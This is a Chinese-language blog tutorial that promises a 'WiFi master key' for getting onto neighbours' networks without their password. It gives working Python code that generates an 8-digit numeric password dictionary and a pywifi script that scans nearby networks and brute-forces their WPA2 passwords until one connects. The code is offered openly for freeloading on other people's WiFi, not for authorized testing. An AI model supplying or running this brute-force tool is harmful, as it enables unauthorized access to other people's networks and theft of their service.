赞
踩
我想大家对WIFI不陌生叭~WIFI是特别实用的,因为每个人的手机流量都是花钱还有限制的。一到限制流量的时候,手机就网速就卡的要死,还有周天好不容易放一天假休息打游戏。
在家的话,一家人都用同一个WiFi,打游戏这么卡的网速要被喷子喷死........
于是,当你打开网络连接,跳出来十几个WiFi,耗光流量的你想蹭吗?网速卡到不行的你想免费蹭网吗?
那是肯定的,不知道密码也没关系,今天小编手把手教你制作一个“WiFi万能钥匙”,就能自动连接隔壁家的网啦~
效果图:
以上基于 Python 的 GUI 图形界面开发库 Tkinter所作完成。
安装环境部分:
本机运行环境:系统环境Win10,运行环境Python3,运行工具Pycharm
需要Python的包有:pywifi
这是一种暴力破解wifi的模式哈~
pip install pywifi
原理简介:
首先要先生成一个密码字典(此步骤也可以从网上下载字典)。
循环用密码字典的每个密码去尝试连接Wifi,直到成功。
(1)密码字典TXT文件生成,本文提供的比较简单,实用破解可以根据一般密码设置,去生成比较大比较全的密码字典。
- import itertools as its
- if __name__ == '__main__':
- words_num = "1234567890"
- words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
- r = its.product(words_num, repeat=8)
- dic = open("password-8位数字.txt", "w")
- for i in r:
- dic.write("".join(i))
- dic.write("".join("\n"))
- dic.close()
(2)暴力破解密码:
- import pywifi
-
- from pywifi import const # 引用一些定义
-
- import time
-
-
- def getwifi(wifilist, wificount):
- wifi = pywifi.PyWiFi() # 抓取网卡接口
- ifaces = wifi.interfaces()[0] # 获取网卡
- ifaces.scan()
- time.sleep(8)
- bessis = ifaces.scan_results()
- allwifilist = []
- namelist = []
- ssidlist = []
- for data in bessis:
- if data.ssid not in namelist: # 去掉重复的WIFI名称
- namelist.append(data.ssid)
- allwifilist.append((data.ssid, data.signal))
- sorted(allwifilist, key=lambda st: st[1], reverse=True)
- time.sleep(1)
- n = 0
- if len(allwifilist) is not 0:
- for item in allwifilist:
- if (item[0] not in ssidlist) & (item[0] not in wifilist):
- n = n + 1
- if n <= wificount:
- ssidlist.append(item[0])
- print(allwifilist)
- return ssidlist
-
-
- def getifaces():
- wifi = pywifi.PyWiFi() # 抓取网卡接口
- ifaces = wifi.interfaces()[0] # 获取网卡
- ifaces.disconnect() # 断开无限网卡连接
- return ifaces
-
-
- def testwifi(ifaces, ssidname, password):
- profile = pywifi.Profile() # 创建wifi连接文件
- profile.ssid = ssidname # 定义wifissid
- profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
- profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
- profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
- profile.key = password # wifi密码
- ifaces.remove_all_network_profiles() # 删除其他所有配置文件
- tmp_profile = ifaces.add_network_profile(profile) # 加载配置文件
- ifaces.connect(tmp_profile) # 连接wifi
- time.sleep(5) # 5秒内能否连接上
- if ifaces.status() == const.IFACE_CONNECTED:
- return True
- else:
- return False
-
-
- def beginwork(wifinamelist):
- ifaces = getifaces()
- path = r"password-8位数字.txt"
- # path = r"password-常用密码.txt"
- files = open(path, 'r')
- while True:
- try:
- password = files.readline()
- password = password.strip('\n')
- if not password:
- break
- for wifiname in wifinamelist:
- print("正在尝试:" + wifiname + "," + password)
- if testwifi(ifaces, wifiname, password):
- print("Wifi账号:" + wifiname + ",Wifi密码:" + password)
- wifinamelist.remove(wifiname)
- break
- if not wifinamelist:
- break
- except:
- continue
- files.close()
-
-
- if __name__ == '__main__':
- wifinames_e = ["", "Vrapile"] # 排除不破解的wifi名字
- wifinames = getwifi(wifinames_e, 5)
- print(wifinames)
- beginwork(wifinames)
免费上网,从此刻开始——
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。